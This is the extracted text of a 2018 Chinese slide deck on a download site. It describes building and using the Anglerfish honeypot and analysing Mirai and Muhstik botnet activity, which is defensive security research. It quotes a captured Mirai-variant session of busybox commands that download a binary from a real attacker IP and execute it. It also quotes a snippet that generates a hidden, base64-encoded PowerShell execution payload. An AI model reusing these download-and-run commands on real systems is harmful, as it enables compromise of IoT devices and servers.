上海品茶

您的当前位置:上海品茶 > 报告分类 > PDF报告下载

2018年通过Anglerfish蜜罐发现未知的恶意软件威胁.pdf

编号:95638 PDF 37页 1.67MB 下载积分:VIP专享
下载报告请您先登录!

2018年通过Anglerfish蜜罐发现未知的恶意软件威胁.pdf

1、通过Anglerfish蜜罐发现未知的恶意软件威胁Anglerfish蜜罐运行状况支持TCP/UDP全端口监控,已经模拟telnet,ssh,http等30种应用协议,50+IoT设备和服务器漏洞,支持对应用协议Fuzz testing等。通过Anglerfish蜜罐捕获大量Botnet并在360Netlab Blog中披露,包括Mirai,http81,Mykings,DDG,Hajime,TheMoon,IoT_reaper,Satori,Muhstik,HNS等,其中http81,IoT_reaper,Satori属于首次发现。捕获2个0day,分别是Huawei HG532 RCE(被

2、Satori Botnet首次利用,CVE-2017-17215)和Gpon Home Routers RCE(被TheMoon Botnet首次利用,暂无CVE编号)。目录 我对蜜罐的理解和需求 如何去设计开发Anglerfish蜜罐程序 在蜜罐程序设计开发中攻防对抗的案例 实例分析Muhstik Botnet 我对蜜罐的未来展望一.我对蜜罐的理解和需求 蜜罐协议模拟是基础,蜜罐数据分析是核心,捕获恶意样本是其目的 能够在TCP/UDP全端口捕获未知的恶意扫描软件威胁 能够模拟影响面广泛的应用协议和漏洞,优先模拟IoT,服务器等漏洞场景 蜜罐程序方便协议扩展,蜜罐数据结构方便数据分析SYN

3、ScanclientserverPort ClosedclientserverPort Open以SYN端口扫描为例,当蜜罐程序未开放相应端口时,只能接收到扫描程序的SYN包。First Dataclientserverclientserverclient send data firstserver send data first当蜜罐开放相应端口时,如果不能和扫描程序完成交互,蜜罐程序只能捕获到来自扫描程序的第一个包甚至没有数据交互。TCP ConnectionScanner(client)Honeypot(server)(active open)SYN_SENTESTABLISHEDEST

4、ABLISHEDFIN_WAIT_1SYN_RCVDTIME_WAITCLOSE_WAITLAST_ACKCLOSEDFIN_WAIT_2writeread(blocks)read returnswriteread(blocks)read returnssocket,bind,listenLISTEN(passive open)accept(blocks)socketconnect(blocks)Interactive Data FlowSimulator蜜罐程序开发的基础工作就是模拟协议二.如何去设计开发Anglerfish蜜罐 借鉴前人的经验 Anglerfish蜜罐程序框架 模拟应用协议

5、/漏洞 Fuzz testing Anglerfish蜜罐数据结构借鉴前人的经验Blackhole是Github上的一个开源项目,我的灵感来源于此,并在此基础上开始设计和开发在模拟协议和漏洞过程中,吸取了Kippo,Dionaea等开源项目经验,积极使用现有的应用协议库使用Python语言开发,基于Gevent模拟Server端应用协议REFERENCE1 https:/ https:/ https:/ https:/ rmi,mssql,docker,oreintdb,mysql,ethman,cisco smi,ethereum,redis,weblogic,jenkins,activem

6、q_web,mctp,apache couchdb,spark,openfire,elastic search,memcache,mongodb,hadoop_hdfs,hadoop_yarn,netis等;目前已经模拟的漏洞/设备(只展示了部分)每个RCE漏洞都会被Botnet发挥得淋漓尽致!Docker shell在蜜罐中经常会遇到Linux Shell命令,我这里推荐使用Docker容器去执行Shell命令,并返回结果。Docker shell#!/usr/bin/env python#-*-coding:utf-8-*-#Github/Twitter:zom3y3#Email:impo

7、rt dockerdef docker_shell(command):docker shellresult=if command.strip()=:return resultelse:#client=docker.DockerClient(base_url=unix:/var/run/docker.sock)client=docker.from_env()command=/bin/sh-c +command+try:container=client.containers.run(busybox,command,network_disabled=ENABLE_NETWORK,detach=Tru

8、e,auto_remove=True,remove=True)result=container.logs()except Exception as e:print+Error in docker_shell:+str(e)return error#force to remove containertry:container.remove(force=True)except Exception as e:passreturn result比如在模拟telnet蜜罐时,结合telnetsrvlib+docker_shell 就可以很快速地实现高交互telnet蜜罐。REFERENCE1 https

9、:/blog.findmalware.org/2017/03/30/the-telnet-honeypot-research-review-and-suggestions-for-application/2 https:/ https:/ Feed关注最新安全资讯通过Slack API创建RSS Feed bot,实时推送exploit-db,securiteam,twitter等安全媒体发布的安全资讯,关注最新IoT,Botnet,RCE漏洞等信息。Fuzz testing响应任意端口的TCP SYN Packet根据协议特征,永远返回正确响应(http,mysql,mssql,redis,

10、memcache等)返回预定义或者随机的Payload特征库集合clientserveralways answer syn flagclientserveralways reply true flagPONGPING遇到的问题 如何判断/提升Fuzz testing成功率 只能对已知的应用协议进行Fuzz testing Fuzz testing不成功导致会话停止Anglerfish蜜罐数据结构rootadminenableshellsh/bin/busybox iDdosYou/bin/busybox ps;/bin/busybox iDdosYou/bin/busybox cat/proc

11、/mounts;/bin/busybox iDdosYou/bin/busybox echo-e x6bx61x6dx69/proc /proc/.nippon;/bin/busybox cat/proc/.nippon;/bin/busybox rm/proc/.nippon/bin/busybox echo-e x6bx61x6dx69/sys /sys/.nippon;/bin/busybox cat/sys/.nippon;/bin/busybox rm/sys/.nippon/bin/busybox echo-e x6bx61x6dx69/tmp /tmp/.nippon;/bin/

12、busybox cat/tmp/.nippon;/bin/busybox rm/tmp/.nippon/bin/busybox echo-e x6bx61x6dx69/overlay /overlay/.nippon;/bin/busybox cat/overlay/.nippon;/bin/busybox rm/overlay/.nippon/bin/busybox echo-e x6bx61x6dx69 /.nippon;/bin/busybox cat/.nippon;/bin/busybox rm/.nippon/bin/busybox echo-e x6bx61x6dx69/dev

13、/dev/.nippon;/bin/busybox cat/dev/.nippon;/bin/busybox rm/dev/.nippon/bin/busybox echo-e x6bx61x6dx69/dev/pts /dev/pts/.nippon;/bin/busybox cat/dev/pts/.nippon;/bin/busybox rm/dev/pts/.nippon/bin/busybox echo-e x6bx61x6dx69/sys/kernel/debug /sys/kernel/debug/.nippon;/bin/busybox cat/sys/kernel/debug

14、/.nippon;/bin/busybox rm/sys/kernel/debug/.nippon/bin/busybox echo-e x6bx61x6dx69/dev /dev/.nippon;/bin/busybox cat/dev/.nippon;/bin/busybox rm/dev/.nippon/bin/busybox iDdosYoucd/bin/busybox cp/bin/echo ccAD;ccAD;/bin/busybox chmod 777 ccAD;/bin/busybox iDdosYou/bin/busybox cat/bin/echo/bin/busybox

15、iDdosYoucat/proc/cpuinfo;/bin/busybox iDdosYou/bin/busybox wget;/bin/busybox tftp;/bin/busybox iDdosYou/bin/busybox wget http:/172.81.134.239:80/AB4g5/Josho.arm-O-ccAD;/bin/busybox chmod 777 ccAD;/bin/busybox iDdosYou./ccAD selfrep.wget;/bin/busybox AndSm0keDoinks/bin/busybox wget;/bin/busybox tftp;

16、/bin/busybox iDdosYou/bin/busybox wget http:/172.81.134.239:80/AB4g5/Josho.arm5-O-ccAD;/bin/busybox chmod 777 ccAD;/bin/busybox iDdosYou./ccAD selfrep.wget;/bin/busybox AndSm0keDoinksrm-rf aupnpb;ccAD;/bin/busybox iDdosYou这是一个Mirai变种发送给Anglerfish蜜罐的攻击数据,我把它这些数据定义为Payload,把这个会话过程赋予独立的session id。Angle

17、rfish蜜罐数据结构把Mirai变种的整个攻击会话转换成3个表保存到数据库中,分别是sessions,downloads,payloads,另外下载到的恶意样本以文件形式保存。sessions主要记录网络连接的会话ID,会话时间,网络五元组等 downloads主要记录样本下载信息,包括会话ID,样本URL,样本md5等 payloads主要记录payload数据信息,包括会话ID,payload,payload_md5,payload_ssdeep等sessiontimestampsrc_ipsrc_portdst_ipdst_portprotocol0033536614a78c19935

18、bce9e6ec5c6992018-07-04 21:31:16172.81.134.23933714x.x.x.x23TCPsessionurlmd5sha256file_typesucess0033536614a78c19935bce9e6ec5c699http:/172.81.134.239:80/AB4g5/Josho.mips1a8fb9f09f9ELF ped1sessionpayload_md5payload_datapayload_ssdeep0033536614a78c19935bce9e6ec5c6995921cbc07469f380c69c6ebc70c1bcc6BCJ3

19、AQSc.AAA=48:Xy/7r4F.kBsUJ三.在蜜罐设计开发中攻防对抗的案例 恶意样本的下载方式 扫描程序payload数据编码/压缩/加密 扫描程序中的漏洞检测机制 扫描程序中的蜜罐检测机制恶意样本的下载方式 http/https协议 ftp协议 sftp协议 nc协议 以echo 16进制分段保存文件 http下载时需指定User-Agent/Query等 通过Shell/VBScript/JScript等脚本语言变量赋值下载URLPayload数据编码/压缩/加密def generate(self):encoded=helpers.deflate(self.psRaw()payl

20、oadCode=echo offnpayloadCode+=if%PROCESSOR_ARCHITECTURE%=x86(payloadCode+=powershell.exe-NoP-NonI-W Hidden-Exec Bypass-Command Invoke-Expression$(New-Object IO.StreamReader($(New-Object IO.Compression.DeflateStream($(New-Object IO.MemoryStream(,$(Convert:FromBase64String(%s),IO.Compression.Compressi

21、onMode:Decompress),Text.Encoding:ASCII).ReadToEnd();%(encoded)payloadCode+=)else(payloadCode+=%WinDir%syswow64windowspowershellv1.0powershell.exe-NoP-NonI-W Hidden-Exec Bypass-Command Invoke-Expression$(New-Object IO.StreamReader($(New-Object IO.Compression.DeflateStream($(New-Object IO.MemoryStream

22、(,$(Convert:FromBase64String(%s),IO.Compression.CompressionMode:Decompress),Text.Encoding:ASCII).ReadToEnd();)%(encoded)return payloadCodedecompressed=zlib.decompress(base64.b64decode(payload),-15)扫描程序中的漏洞检测机制扫描程序在检测漏洞的过程中往往会判断返回的数据中是否包含特定的字符串,来判断这个设备是否存在漏洞。根据这个特征,利用Fuzz testing技巧可以帮助蜜罐程序与扫描程序完成协议交互

23、。扫描程序中的蜜罐检测机制mirai loader代码中通过读取echo binary文件中的elf结构来判断目标系统cpu架构类型,在mirai爆发初期,传统蜜罐都没有模拟“/bin/busybox cat/bin/echo”这条命令,导致几乎没有蜜罐能捕获mirai样本。四.实例分析Muhstik Botnet 介绍Muhstik Botnet扫描行为的基本情况 介绍如何部署Drupal和Gpon蜜罐 介绍payload聚类分析和Botnet扫描检测算法Muhstik Botnet扫描行为分析从4月14号开始,360Netlab监控到Muhstik Botnet集成两个最新公布的漏洞 Dr

24、upal RCE和GponRCE来进行蠕虫式传播。根据这两个漏洞事件,我们写了两篇文章僵尸网络 Muhstik 正在积极利用 Drupal 漏洞 CVE-2018-7600 蠕虫式传播和GPON 漏洞的在野利用(一)Muhstik 僵尸网络来披露 Muhstik Botnet。截至目前,我们共发现Muhstik Botnet有11种漏洞检测模块,分别是:Drupal,Gpon routers,Weblogic,Wordpress,Webdav,DasanNetwork Solution,Webuzo,ClipBucket,phpMyadmin,Jboss,DD-WRT。Muhstik Botn

25、et扫描行为分析Muhstik Botnet感染情况通过与安全社区的合作,我们可以观察到Muhstik Botnet的分布情况。其中值得一提的是Gpon路由器的Bot 99%都是来自于Mexico/MX,并且感染端口都是在8080。这是因为Muhstik Botnet利用的PoC只能在这个版本的固件中有效地工作。我们也联合安全社区关闭了Muhstik Botnet部分C2服务器,但是与Muhstik Botnet之间的攻防对抗还没有结束。以下是Muhstik Botnet感染量统计:Gpon24000+Webdav5000+phpMyAdmin4000+Wordpress3000+Webuzo

26、70+REFERENCE1 https:/ https:/ server蜜罐,后续只需要增加相应的静态资源文件即可模拟任意web程序。在模拟Drupal蜜罐时,可以根据Drupal 程序特性在HTTP Header中加入Drupal特征。(此处仅演示其中一个技巧)部署Gpon蜜罐示例在部署Gpon蜜罐时,将404页面返回返回上述Gpon特征,并且将web server随机变更为GoAhead-Webs。(此处仅演示其中一个技巧)当访问http server上一个不存在的资源文件的时候,正常的http server会返回HTTP 404状态码。在http server协议模拟中,利用Fuzz t

27、esting的技巧在http 404页面设置一些预定义的特征或者根据http请求返回相应的特征,并且修改成HTTP 200状态码。Gpon RCE Payload聚类分析在对5月22号Gpon RCE Payload数据利用ssdc算法实现聚类后,再通过统计计算每个Group和ssdeep所占百分比,利用Highcharts生成Donut Chart。Gpon RCE Payload聚类分析在对Gpon RCE Payload数据聚类后,再通过计算Group,ssdeep和session的关系,利用D3.js生成Force Directed Graph(力导向图)。Gpon RCE Paylo

28、ad聚类分析REFERENCE1 https:/ https:/ssdeep-project.github.io/ssdeep/index.html3 https:/ https:/ https:/d3js.org/通过对比两组ssdeep聚类结果发现新增的Group/ssdeep,再通过分析payload内容可以检测出新的Payload变种。更多应用场景:Botnet扫描检测算法1通过higcharts绘制session,uniq_srcip,uniq_dstip折线图。Botnet扫描检测算法1在一个时间窗口内,计算每个port uniq_srcip和session的线性关系,生成线性相关系数,这个系数值越大就越符合Botnet port特征。Botnet扫描检测算法2当Botnet扫描检测算法检测到异常时,通过Slack Botnet Alarm 发送告警信息。在一个时间窗口内,计算每个port中payload md5的uniq_srcip和session的线性关系,生成线性相关系数,这个系数值越大这个payload md5就越符合Botnet payload特征。五.我对蜜罐的未来展望 实时结合互联网安全漏洞,捕获更多未知的恶意软件威胁 以Fuzz testing的思想去与扫描软件智能交互 希望有更多的人投入到互联网扫描数据安全研究工作中谢 谢!

友情提示

1、下载报告失败解决办法
2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
4、本站报告下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。

本文(2018年通过Anglerfish蜜罐发现未知的恶意软件威胁.pdf)为本站 (云闲) 主动上传,三个皮匠报告文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知三个皮匠报告文库(点击联系客服),我们立即给予删除!

温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。
会员购买
客服

专属顾问

商务合作

机构入驻、侵权投诉、商务合作

服务号

三个皮匠报告官方公众号

回到顶部